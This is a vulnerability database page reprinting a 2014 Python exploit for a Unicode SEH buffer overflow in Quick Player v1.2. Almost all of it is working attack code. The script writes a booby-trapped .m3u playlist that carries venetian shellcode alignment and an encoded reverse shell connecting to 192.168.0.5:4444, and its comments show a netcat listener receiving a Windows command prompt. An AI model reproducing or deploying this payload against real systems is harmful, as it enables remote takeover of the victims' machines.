Quick Player 1.2 - Unicode Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Quick Player v1.2 unicode buffer overflow exploit coded by mr_me tested on XP SP3 En (VirtualBox

                                                #!/usr/bin/python
#
# Vulnerability	: Quick Player v1.2 unicode buffer overflow exploit
# coded by	: mr_me
# reference	: http://www.exploit-db.com/exploits/10759 (corelanc0d3r)
# Tested on	: XP SP3 En (VirtualBox)
# Greetz to	: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT
#
# mrme@backtrack:~$ nc -lvp 4444
# listening on [any] 4444 ...
# 192.168.0.4: inverse host lookup failed: Unknown server error : Connection timed out
# connect to [192.168.0.5] from (UNKNOWN) [192.168.0.4] 1144
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\&#62;
#
# Note: We don&#39;t need a header. Enjoy :)

print &#34;|------------------------------------------------------------------|&#34;
print &#34;|                         __               __	       		   |&#34;
print &#34;|   _________  ________  / /___ _____     / /____  ____ _____ ___  |&#34;
print &#34;|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |&#34;
print &#34;| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |&#34;
print &#34;| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |&#34;
print &#34;|-------------------------------------------------- EIP Hunters ---|&#34;
print &#34;[+] Quick Player v1.2 unicode buffer overflow exploit&#34;

junk = &#34;\x41&#34; * 536;		# buffer offset
nseh = &#34;\x41\x6d&#34;;		# bytes not affecting stack
seh = &#34;\x41\x4d&#34;;		# pop pop ret (unicode)
popeax = &#34;\x58&#34;;		# pop eax (current addr = 0x0012E270)
fill = &#34;\x6d&#34;;			# venetian shellcode
addeax = &#34;\x05\x03\x01&#34;;	# add eax, 1000300
filler = &#34;\x6d&#34;;       		# venetian shellcode 
subeax = &#34;\x2d\x01\x01&#34;		# sub eax, 1000100 (eax is now + 200)
morefiller = &#34;\x6d&#34;;		# venetian shellcode
pusheax = &#34;\x50&#34;;		# setup stack for shellcode
evenmorefiller = &#34;\x6d&#34;;	# venetian shellcode
retn = &#34;\xc3&#34;;			# retn to the stack and execute shell
morejunk = &#34;\x44&#34; * 239;	# extra 200 bytes and 39 for address alignment

# reverse shell (192.168.0.5:4444) 

reverseshell = (&#34;PPYAIAIAIAIAQATAXAZAPA3QADAZ&#34;
&#34;ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA&#34;
&#34;58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABA&#34;
&#34;B30APB944JBKLQZZKPM9XJYKOKOKOC0DK2LMTO4TKOUOL&#34;
&#34;TKSLKURXKQZOTKPOLXDK1OMPKQJKQ9TKODTKKQJNP1Y0V&#34;
&#34;9FLSTWP2TKW7QXJLMKQWRJKL4OK0TMTMX2UIUTK1OO4KQ&#34;
&#34;ZKQVTKLLPK4K1OMLM1ZKLCNL4KU9RLO4MLQQGSNQYKS44&#34;
&#34;KOSNPTKOPLLTKRPMLFMDK10M81N2H4NPNLNZLPPKO9FQV&#34;
&#34;PSQVRHP3NRQXD73CNRQOPTKO8PRHXKJMKLOKPPKOHV1OS&#34;
&#34;YK5QVU1JMM8KRPU2JKRKOXPRH8YLIKEFMPWKOJ6QC0SR3&#34;
&#34;QCOSPS0C1CKO8PRHWPW8KPM5QVRHLQQL36R359YQTUBHJ&#34;
&#34;LZYEZQPPWKOIFRJLPPQQEKOXP36RJQTS62H332M1ZB01I&#34;
&#34;MY8LSYYWRJOT599RNQY0ZSFJF53YKMKN12NMKNQ2NLTM2&#34;
&#34;ZNXVKFKVKQXRRKN7CMFKO2UMXKO9FQK271B21PQ21BJKQ&#34;
&#34;PQB1QE0QKOXPQX6MHYKUHNB3KOYFQZKOKONWKOXPQXYW2&#34;
&#34;YI6T9KOSEM4KO9FKOBWKLKOZ02HL0SZLDQOR3KOZ6KOXP&#34;
&#34;LJA&#34;);

muhahaha = junk + nseh + seh + popeax + fill + addeax + filler;
muhahaha += subeax + morefiller + pusheax + evenmorefiller + retn;
muhahaha += morejunk + reverseshell;

try:
	exploit = open(&#39;playme_in_quickplayer.m3u&#39;,&#39;w&#39;);
	exploit.write(muhahaha);
	print &#34;[+] Generating playme_in_quickplayer.m3u&#34;
	print &#34;[+] Done!&#34;
	exploit.close();
except:
	print &#34;[-] Cannot generate exploit file.. check your privileges&#34;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1